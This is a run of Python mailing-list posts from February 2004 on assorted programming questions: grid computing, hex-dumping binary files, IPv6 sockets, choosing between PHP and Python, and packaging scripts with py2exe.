> Failing to find any obvious references with some googling, I turn to the
> Python folks who have lots of information about lots of different
> application domains.
> 
> I'm sure many of you are aware of SETI at Home, Folding at Home and Google
> Compute, all tools to tackle certain large computational problems on an
> Internet scale, typically by soaking up unused cycles on otherwise idle
> computers.  A bit of googling didn't turn up any others, so I'm wondering:
> 
>     1. Are there other active projects similar to SETI at Home or Folding at Home?
> 
>     2. Are there tools available to make it easier to build such
>        applications?
> 

Skip,

I believe the magic word you need is "GRID".*

You have to keep up with the marketing guys or Google will elude you.

(Grid, computing):  http://search.yahoo.com/search?p=grid+computing&ei=UTF-8&fr=fp-tab-web-t&cop=mss&tab=
(Grid, computing, Python):  http://search.yahoo.com/search?p=grid+computing+python&ei=UTF-8&fr=fp-tab-web-t&n=20&fl=0&x=wrt

==> oh, wait, Yahoo doesn't Google anymore:

[Google]
(Grid, computing):  http://www.google.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=grid+computing
(Grid, computing, Python):  http://www.google.com/search?hl=en&lr=&ie=UTF-8&oe=UTF-8&q=grid+computing+python


* apologies if "GRID" isn't Internet scale, it's my best hunch at a starting point.  I would guess the main difference between a local (LAN) grid and an Internet-scale WAN grid is in the network latencies, and I suppose that would affect some of the logic (maybe just the sizing of hand-offs?), but I am not sure how much.


Eric P.

[exercise for the reader is to compare and contrast the Yahoo and Google results... oh where is PyYahoo when you need it?]



From joe at notcharles.ca  Tue Feb 10 20:30:08 2004
From: joe at notcharles.ca (Joe Mason)
Date: Wed, 11 Feb 2004 01:30:08 GMT
Subject: approach to writing functions
References: <c09f8c$l2f$1@solaris.cc.vt.edu>
	<mailman.1402.1076396710.12720.python-list@python.org>
	<c0an8o$g7i$1@solaris.cc.vt.edu> <40290671.7A5864CA@engcorp.com>
	<slrnc2i6jh.7jp.joe@gate.notcharles.ca>
	<40292DAE.FBC3872D@engcorp.com>
Message-ID: <slrnc2ivrk.8fu.joe@gate.notcharles.ca>

In article <40292DAE.FBC3872D at engcorp.com>, Peter Hansen wrote:
> Agreed.  On the other hand, there's *excellent* reasons to write it 
> as three or four functions in the first place, especially if one is
> trying to learn how to write well crafted code.  You can't learn how
> best to make use of "functions" (or any other software construct) by
> just listening to others spout off about it... you gotta try it out 
> yourself (advice to the OP).

I disagree with that, too, actually.  There's a point at which splitting
up into tiny, tiny functions makes it hard to ingest code.  If I want to
track exactly what the program is doing here (spawn 4 procs, read lines
from them, and output the results), it's easier to actually have that in
front of me than to have to dig through a large call tree of nicely
decoupled functions to find each step.  Poorly designed oode leads to
spaghetti, but overdesigned code can lead to the overall system being
harder to learn.

Oops, gotta go - I was going to expand on this but my test seems to have
started spewing data at me, so it's back to work.

Joe


From http  Tue Feb 10 03:30:06 2004
From: http (Paul Rubin)
Date: 10 Feb 2004 00:30:06 -0800
Subject: Async Client with 1K connections?
References: <65779ce6.0402092357.73df9783@posting.google.com>
Message-ID: <7x4qtztjzl.fsf@ruckus.brouhaha.com>

williamichang at hotmail.com (William Chang) writes:
> I need extremely efficient and robust _client_ software for some
> common protocols like HTTP and POP3, supporting 1,000 simultaneous
> independent connections and commensurate network throughput.  The data
> get written to files or sockets, so no GUI needed.

You're writing a monstrous web spider in Python?

> I am not a Python programmer :-( but I am a "fan" :-) and I have been
> reading about asyncore/Medusa/Twisted -- which would be my best bet?

With enough hardware, you can do practically anything.  Some Apache
servers fork off that many processes.


From pinard at iro.umontreal.ca  Mon Feb 23 19:26:35 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Mon, 23 Feb 2004 19:26:35 -0500
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
In-Reply-To: <c1dvj7$52o$1@news.wrc.xerox.com>
References: <mailman.0.1077567184.8594.python-list@python.org>
	<c1dvj7$52o$1@news.wrc.xerox.com>
Message-ID: <20040224002635.GA20228@titan.progiciels-bpi.ca>

[Mark Jackson]
> "Mike Maxwell" <maxwell at ldc.upenn.edu> writes:

> > Why isn't there a command or function to drop out of Python??!!

> from sys import exit
> exit()

Or maybe, a bit simpler:

   raise SystemExit

One may also manage to merely fall to the end of your __main__ module.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From pipene-news at pu.kielce.pl  Sat Feb 21 04:39:59 2004
From: pipene-news at pu.kielce.pl (Artur M. Piwko)
Date: Sat, 21 Feb 2004 09:39:59 +0000 (UTC)
Subject: [Announce] pyobfuscate
References: <mailman.81.1077043119.31398.python-list@python.org>
Message-ID: <slrnc3e9rh.68l.pipene-news@beast.tu.kielce.pl>

[Adresy w nag??wkach to mielona pu?apka. Je?li chcesz odpisa?,]
[odpisz via nntp, na cGlwZW4=(at)beast.tu.kielce.pl lub wcale.]

In the darkest hour on Tue, 17 Feb 2004 19:38:33 +0100 (CET),
Peter Astrand <peter at cendio.se> screamed:
> Currently, pyobfuscate does not change method names. So this should work. 
> There are probably other cases with hasattr() and getattr() that fails, 
> though. 
> 

Quick look at the code, found a typo.

    def gen_name():
        if random.choice((True, False)):
            # Type ilII1ili1Ilil1il1Ilili1
            chars = ("i", "I", "1")
        else:
            # Type oooOo0oOo00oOO0o0O0
            chars = ("o", "O", "0")

It should be: chars = ("i", "l", "I", "1")

Artur

-- 
Before the Goat of Mendes... we all must take our turn   |  Artur M. Piwko
Into the magic circle... where still the fire burns      |    AMP29-RIPE
We're spinning round and round... until one takes a fall | -- Mercyful Fate
The fallen one will not return, the fallen one must burn | "Witches' Dance"


From secchi at sssup.it  Thu Feb 26 04:16:57 2004
From: secchi at sssup.it (Angelo Secchi)
Date: Thu, 26 Feb 2004 10:16:57 +0100
Subject: Newbie lost(new info)
In-Reply-To: <103qid3gv1s2q47@news.supernews.com>
References: <mailman.113.1077727206.8594.python-list@python.org>
	<403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl>
	<mailman.132.1077738332.8594.python-list@python.org>
	<103q9kkjbru46bb@news.supernews.com>
	<403d3b33$0$11500$3a628fcd@reader2.nntp.hccnet.nl>
	<103qid3gv1s2q47@news.supernews.com>
Message-ID: <20040226101657.629d0a96.secchi@sssup.it>


John and Anthon thanks for your help.
If I did it correctly this is the outcome of the code you asked me to
try:

>from binascii import hexlify
>inf = file('foo','rb')
>data = inf.read(1970) # 1970 is the exact length of the line
>for i in range(4):   
>     index = i * 32
>     print hexlify(data[index: index+32])


3131313131313131312030313032323230313033343130323238353332303031
3220202020203032323835333230303132303030303031303030303030314338
3930303030303120203939333531302030313130303030312020313220313335
313030313032323230313033343133343146ee3bb40000000000000000465de3



>from binascii import hexlify
>inf = file('foo','rb')
>data = inf.read(1970)
>for i in range(223):
>     index = i * 4 + 113
>     print hexlify(data[index: index + 4])


46ee3bb4	(I know that this should be 15612852)
00000000	(I know that this should be 0)
00000000	(I know that this should be 0)
465de39a	(I know that this should be 6153114)
00000000	(I know that this should be 0)
00000000	(I know that this should be 0)
...


John just to understand what you said, if the file is in IBM propietary
binary format (EBCDIC ?) I cannot convert it in ASCII using Python?

Thanks again
Angelo







On Wed, 25 Feb 2004 20:18:47 -0500
"John Roth" <newsgroups at jhrothjr.com> wrote:

> 
> "Anton Vredegoor" <anton at vredegoor.doge.nl> wrote in message
> news:403d3b33$0$11500$3a628fcd at reader2.nntp.hccnet.nl...
> > "John Roth" <newsgroups at jhrothjr.com> wrote:
> >
> > >For the rest of it, I'd like to see a *real* hex dump in mainframe
> > >format. From what you've given us so far I'm not certain whether
> > >the struct module can convert the data for you.
> >
> > Probably what John wants to see is the output of something like
> > this:
> >
> > #one 'line' of data (since it's a binary file there is no real line
> > #ending convention: a line is just a specific number of bytes long,
> > #it's important to find out how many exactly)
> >
> > from binascii import hexlify
> > inf = file('somefile','rb')
> > data = inf.read(1005) #a 113 bytes string + 232 4 bytes floats
> > L = map(hexlify,data)
> > print L
> >
> > Anton
> 
> Thank you! I wasn't aware of that module. It looks like it
> should do exactly what's needed.
> 
> Although this would probably do instead of the last 2 lines
> (and excuse the fact that it's real ugly code, as well as
> untested)
> 
> for i in range(4):
>     index = i * 32
>     print hexlify(data[index: index+32])
> for i in range(232):
>     index = i * 4 + 113
>     print hexlify(data[index: index + 4])
> 
> John Roth
> >
> >
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list


--
========================================================
 Angelo Secchi                     PGP Key ID:EA280337
========================================================
  Current Position:
  Graduate Fellow Scuola Superiore S.Anna
  Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
  ph.: +39 050 883365
  email: secchi at sssup.it	www.sssup.it/~secchi/
========================================================



From jdhunter at ace.bsd.uchicago.edu  Thu Feb  5 12:46:00 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Thu, 05 Feb 2004 11:46:00 -0600
Subject: Python can't divide??!?!
In-Reply-To: <E1AonZY-0003kM-Tv.2004-02-05-17-45-53@tmailb1.svr.pol.co.uk>
	("Dan Williams"'s message of "Thu, 5 Feb 2004 17:44:55 -0000")
References: <E1AonZY-0003kM-Tv.2004-02-05-17-45-53@tmailb1.svr.pol.co.uk>
Message-ID: <m2vfmlctd3.fsf@mother.paradise.lost>

>>>>> "Dan" == Dan Williams <dan at ithium.net> writes:

    Dan> That's just an example. Python cannot divide. Period. 

True, but that's not surprising.

  Possibility 1: You have discovered a math bug in a programming
    language used by tens of thousands of mathematicians, engineers,
    programmers and scientists from around the world for over a
    decade.

  Possibility 2: There is something you don't understand about
    floating point operations.

Search google groups for:

  floating point binary group:*python*

See especially the thread

 Python doesn't know how to do math?


JDH



From jzgoda at gazeta.usun.pl  Fri Feb  6 15:10:53 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Fri, 6 Feb 2004 20:10:53 +0000 (UTC)
Subject: MS Access datatype mismatch error
References: <mailman.1282.1076033483.12720.python-list@python.org>
Message-ID: <c00scc$ahn$2@nemesis.news.tpi.pl>

Steve Briley <sdb1031 at hotmail.com> pisze:

> <html><div style='background-color:'>

Sorry, pal. Your message can not be read by some of us. Try again.

-- 
Jarek Zgoda
Unregistered Linux User #-1
http://www.zgoda.biz/ JID:zgoda-a-chrome.pl http://zgoda.jogger.pl/


From max at alcyone.com  Wed Feb 25 05:15:39 2004
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 25 Feb 2004 02:15:39 -0800
Subject: string.split bug?
References: <92c59a2c.0402242308.35f55d4a@posting.google.com>
Message-ID: <403C75CB.484AAD19@alcyone.com>

MetalOne wrote:

> string.split("") ==> []
> string.split("",",") ==> ['']
> 
> I did not expect these to have different outputs.

S.split(None) is a special case which keys off of all whitespace, not
just a single delimiter string.  So when presented with an input string
that contains nothing but whitespace, it strips everything and doesn't
find any tokens at all.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ Who, my friend, can scale Heaven?
    -- _The Epic of Gilgamesh_


From dood at dood.com  Thu Feb 26 23:57:02 2004
From: dood at dood.com (Joe F. Blow)
Date: Thu, 26 Feb 2004 20:57:02 -0800
Subject: python newbie having strangeness
References: <of4s30p4a2nq964bjb0kcb25ocrv5kj2sk@4ax.com>
	<FBq%b.4568$OH4.559@fe2.texas.rr.com>
Message-ID: <2vit30d6sbvumsi2fqvcvgbi4erqapj9jl@4ax.com>

>list comprehensions (this is way cool!) - bytes = "AABBCCDD", bytelist = [
>int(bytes[x:x+2],16) for x in range(0,len(bytes),2) ] results in a bytelist
>containing [170, 187, 204, 221]

Wow!!! Tried this out tonight. Very cool! Obviously that's the way to
do it.

The python reference manual totally sucks. It's incredibly difficult
to find what you want in it and it seems to not even mention lots of
stuff. Maybe it's there, but I can't find it. List comprehensions are
barely mentioned, as far as I can tell. When you do find what you want
to know about, it seems like it's explained in as cryptic a way as
possible.

Aaaaarrrrrggggghhhh!!!



>Python has been around a while, and before writing your own hex-to-int
>conversion, it's worth trying to find a way to do it in the language.  Soon

 I looked. Read the above rant.



From skip at pobox.com  Fri Feb 27 16:20:09 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 27 Feb 2004 15:20:09 -0600
Subject: Python as replacement for PHP?
In-Reply-To: <403fa54b@news.zianet.com>
References: <403fa54b@news.zianet.com>
Message-ID: <16447.46217.702158.633738@montanaro.dyndns.org>


    Erik> 1) PHP seems to have a pretty good integration/driver with
    Erik>    PostgreSQL.  If we were to switch to Python, what
    Erik>    modules/drivers are available to talk to PosgreSQL and is it as
    Erik>    functional as PHP's support?

I use psycopg and like it.  There are a couple others as well.

    Erik> 3) Does Python have an analog to strtotime()? (For those not
    Erik>    familiar with that function, it converts a wide range of date
    Erik>    formats as string into time_t value. Can handle things like
    Erik>    "now", "+24 hours", "-3 days", "yesterday 06:00PM MST",
    Erik>    "January 23, 2004", "2004-02-26 18:00:00 -07", etc.)

Marc-Andre Lemburg's mxDateTime might be the closest you'll get to such wide
ranging formats.

    Erik> 4) I am vaguely aware of Apache's modpython. We are currently
    Erik>    running apache, but I'm real green when it comes to
    Erik>    configuring/running/managing Apache. I don't really understand
    Erik>    what all modpython does for me. Generally allows Apache to
    Erik>    foist off an HTTP request on a Python script to handle I
    Erik>    assume, but maybe some kind soul can better inform me about
    Erik>    what all modpython really does for me?

It essentially avoids process creation and Python startup overhead.  Both
can be significant performance barriers on heavily loaded systems.

    Erik> 5) A PHP script can freely jump in and out of static HTML and
    Erik>    script code with <?php ?> tags. This is sometimes handy. Can
    Erik>    you do the same thing with Python?

There are lots of different Python-based templating systems.  I like
Quixote.  It's roughly the inverse of the way most systems do the
HTML/<language> mind-meld.  Instead of Python-in-HTML it's HTML-in-Python.
There are other systems with which I am not aware.  Cheetah and PSP come to
mind.

    Erik> 6) Debugging: I'm aware there is a debugger for Python - I haven't
    Erik>    really used it. Maybe there is a better way to do this using
    Erik>    PHP, but right now when a PHP script isn't working right, I'm
    Erik>    reduced to print statements and just re-running the script. Do
    Erik>    you know a better way to do this in PHP?  If I were doing
    Erik>    things in Python, is there an easy way to generate an HTTP
    Erik>    request from my browser, but stop the generating script and
    Erik>    analyze it in a Python debugger?

Inserting print statements is a pretty common debugging technique in Python
as well.  Also, take a look at the cgitb module.

Skip



From dave at pythonapocrypha.com  Fri Feb 27 16:23:57 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Fri, 27 Feb 2004 14:23:57 -0700
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com> <c1obji$8m9$1@solaris.cc.vt.edu>
Message-ID: <039101c3fd78$030c33a0$6401fea9@YODA>

Bart wrote:
> Erik Johnson wrote:
> > This is somewhat a NEWBIE question...
> >
> >     My company maintains a small RDBS driven website. We currently generate
> > HTML using PHP.  I've hacked a bit in Python, and generally think it is a
> > rather cool language. I've done Perl and like it, there are a few features
> > of PHP I like but overall am not too excited about it. I have found PHP's
> > strtotime() function to be quite flexible and handy and we make liberal use
> > of it.
> >         6) All the other standard evangeslistic points about why Python is
> > better than <your favorite language here>, some of which may be valid to
us,
> > some probably not. To those that have used PHP: what am I potentially
losing
> > that Python really can't replace?
> >
> >     So, I'm hoping there are some people out there that actually have some
> > expereience with both Python & PHP and can give me some solid, informed
> > advice about PHP vs. Python, in general and particularly on the following
> > points: (NOT Python evangelism please: I've already heard most of it, I've
> > espoused a pretty good dose myself - frankly, I'm willing to buy most of
it,
> > but I've got a serious business decision to make here).
>
> When it comes to dynamic, DB driven sites, PHP is the only way to go.
> Python is not even close to being suited for this task. PHP claims to be
> a general-purpose language, but I do not know anyone who uses it for
> anything other than dynamic Web programming.
>
> A serious business decision? PHP would be the only winner here. You
> should not even be considering another language for this, it borders on
> stupidity.

What on earth?! Each is entitled to his or her own opinion, but this is a bit
over the top. The OP would do well to search the Google archives as this topic
has come up many times, and there are many who disagree with the above opinion.
Even if in the end the OP decided to stick with PHP (personally I wouldn't),
considering Python definitely does _not_ border on stupidity.

-Dave




From rhoder at worldpath.net  Sun Feb 15 10:36:45 2004
From: rhoder at worldpath.net (Derek Rhodes)
Date: Sun, 15 Feb 2004 10:36:45 -0500
Subject: File creation, polluted name space?
Message-ID: <102v4ge1ea5so9a@corp.supernews.com>

This is a python session I had running
Python 2.3.3 (win32)

-----------------------------------------------
IDLE 1.0.2
>>> infile = open("file1", 'w')        #this works
>>>
>>> import os
>>> infile = open("file2", 'w')        #it still works
>>>
>>> from os import *
>>> infile = open("file3", 'w')        #fails

Traceback (most recent call last):
  File "<pyshell#4>", line 1, in -toplevel-
    infile = open("file3", 'w')
TypeError: an integer is required
>>>
----------------------------------------------------------
after I < from import os * > I can't seem to create a file
by the method shown above.

The error indicates that an integer is required,
however, I don't see how an integer would fit
in here.
Does anyone know what's going on?
Is the name space being polluted?

-derek




From __peter__ at web.de  Sun Feb 15 06:02:14 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 15 Feb 2004 12:02:14 +0100
Subject: opinion for newbie code
References: <pan.2004.02.14.20.53.55.491882@no.mail.it>
Message-ID: <c0njjm$3aq$04$1@news.t-online.com>

robsom wrote:

> I have strings of like this:
> "one          two : three four     ;\n"
> and I want to put them into lists using ":" as delimeter but I have to
> get rid of all the spaces and other not necessary characters, like this:
> list = ["onetwo", "threefour"]
> 
> so I wrote the following code, which works, but I have a couple of
> questions:
> 
> 1. for line in fin.readlines():
> 2.    eq = []
> 3.    row = line.replace(" ","").replace(";","").replace("\n","").split(":")
> 4.    # ...
> 5.    # other code
> 6.    # result of the code are three lists A, B, C
> 7.    # which I want to put into a single list L = ['A','B','C']
> 8.    # ...
> 9.    L.append(A)
> 10.   L.append(B)
> 11.   L.append(C)
> 
> Question n.1: what do you think of statement number 3? it works but I
> kind of suspect it is not the best way to do it.

Outside the for loop:

>>> import string
>>> t = string.maketrans("", "")
>>> d = " ;\n" # list all chars you want to remove
>>> line = "one          two : three four     ;\n"

In the for loop:

>>> line.translate(t, d).split(":")
['onetwo', 'threefour']

> Question n.2: on line 9-11 I add my three lists (A, B, C) to the L list
> using three append instructions. Is there another way to do the same
> thing, i.e. to add more than one element to a list with a single
> instruction?

L.extend([A, B, C])

However, I suppose this is slightly less efficient, as you have to build the
intermediate list [A, B, C].

Peter


From reply.in.the.newsgroup at my.address.is.invalid  Thu Feb 12 17:14:15 2004
From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman)
Date: Thu, 12 Feb 2004 23:14:15 +0100
Subject: python vs. perl
References: <20040212170911.22719.00001914@mb-m18.aol.com>
Message-ID: <kkun20hu7ej4qrhcppvet89kdqikbdjig3@4ax.com>

Patio87:
>AM I missing out on anything by not knowing perl?

Just Perl. Go ahead, give it a try. See you next week in this group :-)

-- 
Ren? Pijlman


From martin at v.loewis.de  Mon Feb  9 17:31:27 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 09 Feb 2004 23:31:27 +0100
Subject: get a list of available encodings ?
In-Reply-To: <4027920e$0$28641$626a14ce@news.free.fr>
References: <4027920e$0$28641$626a14ce@news.free.fr>
Message-ID: <c091nt$3u5$07$2@news.t-online.com>

GrelEns wrote:
> is there a way from a python program to get the table below as a list or a
> dict ? http://www.python.org/doc/current/lib/node127.html

Unfortunately, not. They way codecs work, a register()ed function may
create codecs on-the-fly, so it may not even be possible to create a
complete list of all possible codec names.

Regards,
Martin



From ykk at eepi.net  Fri Feb  6 19:48:02 2004
From: ykk at eepi.net (Ricky Waller)
Date: 6 Feb 2004 16:48:02 -0800
Subject: Typing UTF-8 characters in IDLE
Message-ID: <aa04f98f.0402061648.1c855e27@posting.google.com>

A few unicode tutorials on the web show that it's possible to type
unicode characters into the IDLE gui...

However, when i type korean (hangul) characters it complains:

Unsupported Characters in input

I don't have a great understanding of unicode, but when I use a UTF-8
source file with korean strings in, and run it as a CGI script it
works fine.

I'm using python 2.3.3 on win XP.

Any tutorials / info anyone could point me to? Thanks...


From bobx at linuxmail.org  Mon Feb 16 19:16:50 2004
From: bobx at linuxmail.org (Robert)
Date: Mon, 16 Feb 2004 19:16:50 -0500
Subject: ANNOUNCE: Build 200 of the pywin32 extensions
In-Reply-To: <mailman.52.1076968759.31398.python-list@python.org>
References: <c03pel$19ts$1@arachne.labyrinth.net.au>	<6d7616d2371cabf820070c61a59f6f96@news.teranews.com>
	<mailman.52.1076968759.31398.python-list@python.org>
Message-ID: <LuednW3O543vwKzdRVn-jg@adelphia.com>

David Ascher wrote:

> Dang Griffith wrote:
> 
>> On Sun, 08 Feb 2004 09:39:10 +1100, Mark Hammond
>> <mhammond at skippinet.com.au> wrote:
>>
>>> All comments appreciated!
>>
>>
>>
>>     What with _Learning_Python_ having a second edition, is there any
>> plan for a second edition _Python_Programming_on_Win32_ ?
> 
> 
> Right -- in other words, since pigs can now fly, can we now have chicken 
> with teeth?
> 
> :-)
> 
> 
> 
EXACTLY!  :-)


From martin at v.loewis.de  Sun Feb 15 13:01:54 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 15 Feb 2004 19:01:54 +0100
Subject: IPv6 question
In-Reply-To: <uh24g1-40v.ln1@neon.jbmail.com>
References: <9r14g1-1vu.ln1@neon.jbmail.com> <uh24g1-40v.ln1@neon.jbmail.com>
Message-ID: <c0oc6j$592$01$1@news.t-online.com>

John Burton wrote:
> If I need to create an IPv4 socket and IPv6 socket and listen on both that
> doesn't
> seem to work.
> 
>  sock4 = socket(AF_INET, SOCK_STREAM)
>  sock4.bind(('', 12345))
>  sock6 = socket(AF_INET6, SOCK_STREAM)
>  sock6.bind(('', 12345))
> 
> I get an error that the address is already in use on the 2nd bind even
> though it's to a different
> socket type. This is on linux.
> Has anyone got this to work? Or am I missing something?

You are missing something important. According to RFC 2553, a PF_INET6
socket can be used for IPv4 communication, by means of IPV4_MAPPED
addresses (::FFFF:<IPv4-address>). So an application openening a
PF_INET6 listening socket will accept both IPv4 and IPv6 incoming
connections.

If you want a socket that listens only on IPv6 connections, you
need to set the IPV6_V6ONLY socket option. In your case, it is 
sufficient to just not create the IPv4 socket. When clients connect
through IPv4, you will find that the peername(2) of the socket
is an IPv4-mapped address. You should never ever transmit such
an address over the wire; it is meant for local use only.

Regards,
Martin



From mhammond at skippinet.com.au  Thu Feb 12 04:18:16 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Thu, 12 Feb 2004 20:18:16 +1100
Subject: ANNOUNCE: Build 200 of the pywin32 extensions (win32all)
	available
In-Reply-To: <c03pel$19ts$1@arachne.labyrinth.net.au>
References: <c03pel$19ts$1@arachne.labyrinth.net.au>
Message-ID: <c0fgd0$20gk$1@arachne.labyrinth.net.au>

I wrote:
> Hi all,
>   I have released a new version of the win32all extensions.  I have also 
> changed significantly the way I release them.

It has been brought to my attention that build 200 fails to include 
'pythonservice.exe', which means Python implemented services will fail 
to work.  I have added a new pythonservice.zip to the sourceforge 
release page, which includes pythonservice.exe for python 2.2 and 2.3. 
If you use Python services, please grab this file, and view the 
README.txt for instructions.

Future builds will have this fixed.

Regards,

MArk.



From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Sun Feb 22 11:09:31 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sun, 22 Feb 2004 17:09:31 +0100
Subject: Extract data from ASCII file
In-Reply-To: <3602cff7.0402220711.3f7ed46@posting.google.com>
References: <3602cff7.0402220711.3f7ed46@posting.google.com>
Message-ID: <4038d43c$0$557$e4fe514c@news.xs4all.nl>

Ren wrote:

> Suppose I have a file containing several lines similar to this:
> 
> :10000000E7280530AC00A530AD00AD0B0528AC0BE2

Say the file is called data.txt
Try this:
---------------------------------
def process(line):
	line=line[9:]
	result=[]
	for i in range(0,32,4):
		result.append( line[i+2:i+4] + line[i:i+2] )
	return result

for line in open("data.txt"):
	print process(line)
---------------------------------
For your single example data line, it prints
['28E7', '3005', '00AC', '30A5', '00AD', '0BAD', '2805', '0BAC']

It's a list containing the 8 extracted hexadecimal strings.
Instead of printing the list you can do whatever you want with it.
If you need more info, just ask.

--Irmen de Jong


From martin at v.loewis.de  Sun Feb  8 03:25:57 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 08 Feb 2004 09:25:57 +0100
Subject: Python/Parrot still alive?
In-Reply-To: <tq6dnRV_eM23UrjdRVn-uw@comcast.com>
References: <tq6dnRV_eM23UrjdRVn-uw@comcast.com>
Message-ID: <c04rqb$pbv$05$1@news.t-online.com>

Berlin Brown wrote:
> Is there going to be a python parrot release.  I looking on the web and 
> seeing stuff, stilly pending.  That would be cool to see application 
> servers, via python(I think that could only be with a virtual machine). 
>  Could be wrong of course.

If you believe that application servers require Parrot because it
has a virtual machine, you are certainly wrong:
- Python does have a virtual machine even without Parrot.
- Applications servers do not fundamentally require virtual
   machines.

Regards,
Martin



From No.Spam.mc at No.Spam.mclaveau.No.Spam.com  Sun Feb 22 12:10:59 2004
From: No.Spam.mc at No.Spam.mclaveau.No.Spam.com (Michel Claveau/Hamster)
Date: Sun, 22 Feb 2004 18:10:59 +0100
Subject: Case sensitive file names
References: <b4a8ffb6.0402220858.7b9cbfb3@posting.google.com>
Message-ID: <c1anu3$9r5$1@news-reader4.wanadoo.fr>

Hi !

W2K, or WXP has also capability for filename in Unicode. The
"case-insensitive manner" is not systematic.

@-salutations
--
Michel Claveau
site : http://mclaveau.com








From harry.g.george at boeing.com  Tue Feb 17 09:05:38 2004
From: harry.g.george at boeing.com (Harry George)
Date: Tue, 17 Feb 2004 14:05:38 GMT
Subject: Compiling python scripts to native code ??
References: <BC5784A3.10B0C%fred.mailhot@videotron.ca>
	<pan.2004.02.17.15.25.44.525912@thomas-guettler.de>
	<BC57B164.10C3B%fred.mailhot@videotron.ca>
Message-ID: <xqxbrnxhkct.fsf@cola2.ca.boeing.com>

Fred Mailhot <fred.mailhot at videotron.ca> writes:

> On 2/17/04 7:25 AM, "Thomas Guettler" <guettli at thomas-guettler.de> wrote:
> 
> > Am Tue, 17 Feb 2004 08:43:15 -0800 schrieb Fred Mailhot:
> > 
> >> Hi...
> >> 
> >> Is there any way to do this for *nix ?? Pointers to resources and/or FAQS
> >> would be much appreciated.
> > 
> > Why do you want to do this?
> > - Improve speed
> > - hide your source code
> > ...
> > 
> > thomas
> 
> Nothing quite so nefarious...*grin*...Actually, I've just realized that the
> initial question wasn't posed properly.
> 
> What I want is to be able to compile Python scripts so that they can be run
> on a system that doesn't have Python installed. I realize that maybe that
> doesn't make a lot of sense, but I want my product to be as widely
> distributable as possible.
> 
> 
> Thanks again,
> 
> Fred.
> 

That makes a lot of sense.   Try:

http://starship.python.net/crew/theller/py2exe/


-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From fumanchu at amor.org  Wed Feb 25 11:18:38 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Wed, 25 Feb 2004 08:18:38 -0800
Subject: Python scripts in IIS
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561DB8@opus.amorhq.net>

Jon Cosby wrote:
> > Thanks. I had left out the trailing arguments. What is "%s" 
> for, anyway?

Andrew Clover replied:
> It gets substituted with the name of the .py file.
> 
> Note: you really want -
> 
>    ...python.exe -u %s %s


What you *really* want ;) is to avoid allowing users to pass arbitrary
strings on the command line, which is what happens with this technique.
You should seriously look into ASP, mod_python, or some other means of
more safely connecting python to a web server.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From usenet_spam at janc.invalid  Sat Feb  7 22:25:00 2004
From: usenet_spam at janc.invalid (JanC)
Date: Sun, 08 Feb 2004 03:25:00 GMT
Subject: OT: PHP as a general language (was Re: where does Python stand?)
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<mailman.1246.1076000375.12720.python-list@python.org>
	<c718a6cf.0402071225.ea09de6@posting.google.com>
	<slrnc2ahif.ojd.joe@gate.notcharles.ca>
Message-ID: <Xns94892CEE6B3D3JanC@213.119.4.35>

Joe Mason <joe at notcharles.ca> schreef:

> I was just looking for a way to run PHP as a general script, actually
> (it'd be much easier to debug extensions than having to load a web page
> through Apache every time).  But I can't find a standalone interpreter
> on my system (Debian stable) - all the php packages just hook into
> Apache.  Do you know where I can find a standalone PHP?

This might be useful:
<http://www.php.net/manual/en/features.commandline.php>

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From klapotec at chello.at  Mon Feb  9 16:43:05 2004
From: klapotec at chello.at (Christopher Koppler)
Date: Mon, 09 Feb 2004 21:43:05 GMT
Subject: unicode codecs
References: <c08sbk$c4u$1@bagan.srce.hr>
Message-ID: <g1vf201kc9sl3m82un3jhekdje1m0ovlu9@4ax.com>

On Mon, 09 Feb 2004 21:59:36 +0100, Ivan Voras
<ivoras at __geri.cc.fer.hr> wrote:

>When concatenating strings (actually, a constant and a string...) i get 
>the following error:
>
>UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 1: 
>ordinal not in range(128)
>
>Now I don't think either string is unicode, but I'm working with 
>win32api so it might be... :) The point is: I know all values will fit 
>in a particular code page (iso-8859-2), so how do I change the 'ascii' 
>codec in the above error into something that will work?

To get a real solution, you should also post the offending code, but
you might try to convert your values to unicode with the built-in
unicode() and the string method decode(). See the library reference
sections 2.1 and 2.2.6.

--
Christopher


From grahamd at dscpl.com.au  Tue Feb 10 06:32:29 2004
From: grahamd at dscpl.com.au (Graham Dumpleton)
Date: 10 Feb 2004 03:32:29 -0800
Subject: synchronized method
References: <c0a1mt$v79$1@hyppo.gu.net>
Message-ID: <dc6f5c99.0402100332.2fe33c25@posting.google.com>

